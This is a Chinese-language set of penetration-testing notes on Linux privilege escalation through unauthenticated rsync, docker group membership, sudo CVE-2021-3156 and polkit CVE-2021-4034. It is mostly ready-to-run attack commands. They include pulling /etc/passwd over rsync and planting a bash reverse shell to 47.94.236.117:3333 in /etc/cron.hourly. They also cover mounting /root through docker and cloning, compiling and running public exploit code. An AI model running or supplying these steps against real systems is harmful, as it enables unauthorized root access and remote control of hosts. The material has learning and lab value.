目录
Rsync未授权访问
docker组挂载
Sudo-CVE漏洞
Polkit-CVE漏洞
这里的提权手法是需要有一个普通用户的权限,一般情况下取得的webshell权限可能不够
Rsync未授权访问
Rsync是linux下一款数据备份工具,默认开启873端口
https://vulhub.org/#/environments/rsync/common/
借助Linux默认计划任务调用/etc/cron.hourly,利用rsync连接覆盖
前提:没有账号密码验证 开放873端口
探针
rsync rsync://ip:873/
出现下面这种情况就说明存在未授权
思路一:下载获取对方的敏感文件
到达对方的根目录
可以通过rsync下载敏感文件 /etc/passwd 到自己根目录
rsync rsync://ip:873/src/etc/passwd ./
思路二:覆盖定时文件,定时反弹shell
Linux系统的定时任务一般在 /etc/crontab
可以本地构造一个反弹 shell 的定时任务 nc
/bin/bash -i >& /dev/tcp/47.94.236.117/3333 0>&i
赋予执行权限
chmod +x nc
上传文件覆盖定时任务目录下
rsync -av nc rsync://ip:873/src/etc/cron.hourly
下载文件
rsync -av rsync://47.94.236.117:873/src/etc/passwd ./
本地监听反弹 shell 即可
nc -lvnp 3333
docker组挂载
条件:普通用户在docker组
原理:利用docker服务启动镜像挂载目录、从而来访问root目录、etc目录等敏感文件来进行权限提升。因为docker的运行本身就需要root权限。
漏洞复现:
常见一个普通用户,并放到docker组内
useradd -d /home/test -m test
passwd test
usermod -G docker test
newgrp docker
利用
发现对方主机上存在docker服务,敲docker相关命令,判断有么docker相关的服务
groups 用户名 查看当前用户是否在docker组内
从Docker上下载alpine镜像,使用参数 -it 进入 容器shell
docker run -v /root:/mnt -it alpine
这样就可以实现非root用户访问敏感文件,在尝试进行提权
Sudo-CVE漏洞
漏洞探针:这是版本漏洞,在版本区间都会受到影响
sudo: 1.8.2 - 1.8.31 p2
sudo: 1.9.0 - 1.9.5 p1
执行命令,看是否报错
sudoedit -s /
若不报错,提示sudio的usage信息;报错:
利用:下载EXP直接攻击
// 下载EXP
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
// 编译一下
make
// 给执行权限
chmod a+x sudo-hax-me-a-sandwich
// 执行脚本 1是选择模式
./sudo-hax-me-a-sandwich 1
Polkit-CVE漏洞
漏洞影响2009年5月至今的所有polkit版本
由于polkit是系统预装工具,所有存在polkit的linux系统均受影响
如:CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等
探针
dpkg -l policykit-1
存在漏洞:
不存在漏洞
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034/
make
./cve-2021-4034